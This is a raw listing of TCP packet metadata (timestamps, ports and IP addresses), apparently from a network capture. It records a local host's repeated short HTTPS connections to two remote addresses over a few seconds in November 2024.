Nov 21, 2024 00:04:38.530402899 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.530416965 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.530422926 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.533902884 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.533945084 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.534004927 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.534151077 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.534159899 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.569027901 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.572050095 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.572153091 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.572153091 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.572200060 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.572221994 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.575352907 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.575400114 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.575469017 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.575606108 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.575618029 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.653978109 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.654056072 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.654110909 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.654288054 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.654314041 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.654329062 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.654335976 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.657367945 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.657411098 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.657471895 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.657634974 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.657648087 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.990803957 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.991370916 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.991424084 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.991813898 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.991821051 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.546968937 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.547662020 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.547688961 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.548137903 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.548145056 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.580746889 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.583724976 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.583798885 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.583877087 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.583929062 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.584059954 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.584078074 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.584084034 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.584089994 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.587305069 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.587328911 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.587405920 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.587611914 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.587625027 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.994447947 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.998578072 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.998661995 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.998706102 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.998724937 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:39.998733997 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:39.998739958 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.001779079 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.001826048 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.001913071 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.002129078 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.002142906 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.383877039 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.384535074 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.384568930 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.385011911 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.385018110 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.483526945 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.485975981 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.485996008 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.486654043 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.486659050 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.509413958 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.513417006 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.513452053 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.513876915 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.513881922 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.826999903 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.830259085 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.830312014 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.830321074 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.830365896 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.830434084 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.830461025 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.830471992 CET	50033	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.830477953 CET	443	50033	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.833852053 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.833914995 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.833997011 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.834161997 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.834182978 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.926983118 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.927083015 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.927136898 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.927279949 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.927295923 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.927306890 CET	50034	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.927323103 CET	443	50034	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.929800987 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.929856062 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.929929018 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.930073977 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.930085897 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.945287943 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.948395014 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.948484898 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.949103117 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.949120998 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.949135065 CET	50035	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.949140072 CET	443	50035	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.951811075 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.951854944 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:40.951922894 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.952080965 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:40.952099085 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.395294905 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.395957947 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.395991087 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.396564960 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.396570921 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.916773081 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.917279959 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.917396069 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.917459965 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.917459965 CET	50036	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.917490005 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.917500973 CET	443	50036	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.920475006 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.920537949 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.920670986 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.920905113 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.920924902 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.957653046 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.958353043 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.958408117 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:41.958810091 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:41.958820105 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.411551952 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.414314985 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.414376974 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.414405107 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.414448977 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.414511919 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.414535999 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.414546967 CET	50037	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.414552927 CET	443	50037	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.417968988 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.418078899 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.418226004 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.418437004 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.418472052 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.750881910 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.751472950 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.751519918 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.752027988 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.752036095 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.757065058 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.757460117 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.757493973 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.757924080 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.757929087 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.789192915 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.789669991 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.789700985 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:42.790126085 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:42.790131092 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.185931921 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.188926935 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.188981056 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.189028978 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.189028978 CET	50040	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.189050913 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.189069986 CET	443	50040	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.192744017 CET	50043	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.192779064 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.192852974 CET	50043	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.193239927 CET	50043	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.193248987 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.210089922 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.213213921 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.213269949 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.213318110 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.213335991 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.213351965 CET	50038	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.213357925 CET	443	50038	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.216080904 CET	50044	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.216111898 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.216166973 CET	50044	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.216320038 CET	50044	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.216331005 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.234833956 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.238009930 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.238099098 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.238332033 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.238332033 CET	50039	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.238353014 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.238363028 CET	443	50039	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.241295099 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.241352081 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.241420031 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.241563082 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.241579056 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.724325895 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.724965096 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.724986076 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:43.725447893 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:43.725455046 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.159831047 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.162934065 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.166306019 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.168150902 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.168183088 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.168207884 CET	50041	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.168216944 CET	443	50041	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.170958042 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.170995951 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.171087027 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.171191931 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.171200991 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.235879898 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.237860918 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.237891912 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.238327026 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.238332987 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.862585068 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.862665892 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.862801075 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.863070965 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.863070965 CET	50042	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.863118887 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.863147020 CET	443	50042	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.866712093 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.866769075 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:44.866882086 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.867177010 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:44.867191076 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.121062040 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.121654987 CET	50043	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.121675014 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.122364998 CET	50043	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.122370958 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.124305964 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.124655962 CET	50044	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.124676943 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.125117064 CET	50044	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.125123978 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.158024073 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.158673048 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.158704996 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.159142017 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.159147024 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.559829950 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.560261011 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.562849998 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.562932014 CET	50044	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.563018084 CET	50044	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.563038111 CET	443	50044	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.564724922 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.564789057 CET	50043	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.565126896 CET	50043	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.565152884 CET	443	50043	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.570205927 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.570261955 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.570368052 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.571124077 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.571140051 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.572364092 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.572400093 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.572453976 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.575504065 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.575522900 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.602663994 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.602699995 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.602751970 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.602823973 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.602865934 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.604332924 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.604356050 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.604367971 CET	50045	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.604381084 CET	443	50045	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.651119947 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.651181936 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:45.651295900 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.807446003 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:45.807486057 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.101737022 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.103849888 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.103849888 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.103869915 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.103884935 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.565812111 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.573268890 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.573374987 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.573438883 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.573438883 CET	50046	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.573455095 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.573468924 CET	443	50046	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.576277971 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.576316118 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.576409101 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.576566935 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.576575994 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.661648989 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.662404060 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.662445068 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:46.662976980 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:46.662982941 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.127718925 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:47.127913952 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:47.128021002 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:47.129787922 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.130291939 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.130326033 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.130742073 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.130748987 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.131093979 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.131169081 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.131220102 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.131253004 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.131297112 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.131344080 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.131398916 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.131413937 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.131424904 CET	50047	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.131431103 CET	443	50047	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.134078979 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.134114027 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.134243965 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.136418104 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.136430025 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.324682951 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.325273037 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.325299978 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.325685978 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.325691938 CET	443	50049	13.107.246.45	192.168.2.7
